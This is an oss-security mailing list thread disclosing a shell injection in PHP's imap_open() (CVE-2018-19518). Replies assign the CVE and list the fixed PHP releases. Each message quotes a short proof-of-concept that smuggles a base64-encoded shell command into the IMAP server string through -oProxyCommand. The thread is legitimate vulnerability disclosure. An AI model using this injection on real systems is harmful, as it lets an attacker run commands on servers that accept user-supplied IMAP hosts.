[oss-security] PHP imap_open() script injection

[Hanno Böck]

Hi,

This was apparently posted on some russian forum recently and then
re-posted to github:
https://antichat.com/threads/463395/#post-4254681
https://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.php

PoC code:
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

It's pretty self explaining, it seems imap_open() will pass things to
ssh and this is vulnerable to a shell injection.

Impact would be mostly relevant if someone has some imap functionality
where a user can define a custom imap server. (Though it might also be
used as a bypass for environments where exec() and similar functions
are restricted.)

I reported it to upstream PHP a few days ago, it was closed as a
duplicate, so it seems they already knew about it. It's unfixed in
current versions.

There seems to be some speculation that this might've been involved in a
hack of a .onion hoster:
https://danwin1210.me/

[Salvatore Bonaccorso]

Hi,

Post by Hanno Böck
Hi,
This was apparently posted on some russian forum recently and then
https://antichat.com/threads/463395/#post-4254681
https://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.php
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
It's pretty self explaining, it seems imap_open() will pass things to
ssh and this is vulnerable to a shell injection.
Impact would be mostly relevant if someone has some imap functionality
where a user can define a custom imap server. (Though it might also be
used as a bypass for environments where exec() and similar functions
are restricted.)
I reported it to upstream PHP a few days ago, it was closed as a
duplicate, so it seems they already knew about it. It's unfixed in
current versions.

CVE-2018-19518 has been assigned by MITRE for this issue.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19518

Regards,
Salvatore

[s***@gmx.ch]

Hi

New releases to fix this have been scheduled for tomorrow:

https://github.com/php/php-src/blob/php-5.6.39/NEWS#L11
https://github.com/php/php-src/blob/php-7.0.33/NEWS#L11
https://github.com/php/php-src/blob/php-7.1.25/NEWS#L21
https://github.com/php/php-src/blob/php-7.2.13/NEWS#L25
https://github.com/php/php-src/blob/php-7.3.0/NEWS#L162

Note: support for PHP 7.0 has officially ended two days ago, but the
patch is included in 7.0.33.

Quoting from UPGRADING:
"rsh/ssh logins are disabled by default. Use imap.enable_insecure_rsh if
you want to enable them. Note that the IMAP
library does not filter mailbox names before passing them to rsh/ssh
command, thus passing untrusted data to this function with rsh/ssh
enabled is insecure."

The relevant commit can be found on
https://github.com/php/php-src/commit/3a144d3f7f6bad308e2bf112ebf16829eb298f20

The assigned CVE-2018-19158 in https://bugs.php.net/bug.php?id=77153
seems to be a typo of CVE-2018-19518.

Post by Salvatore Bonaccorso
Hi,

Post by Hanno Böck
Hi,
This was apparently posted on some russian forum recently and then
https://antichat.com/threads/463395/#post-4254681
https://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.php
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
It's pretty self explaining, it seems imap_open() will pass things to
ssh and this is vulnerable to a shell injection.
Impact would be mostly relevant if someone has some imap functionality
where a user can define a custom imap server. (Though it might also be
used as a bypass for environments where exec() and similar functions
are restricted.)
I reported it to upstream PHP a few days ago, it was closed as a
duplicate, so it seems they already knew about it. It's unfixed in
current versions.

CVE-2018-19518 has been assigned by MITRE for this issue.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19518
Regards,
Salvatore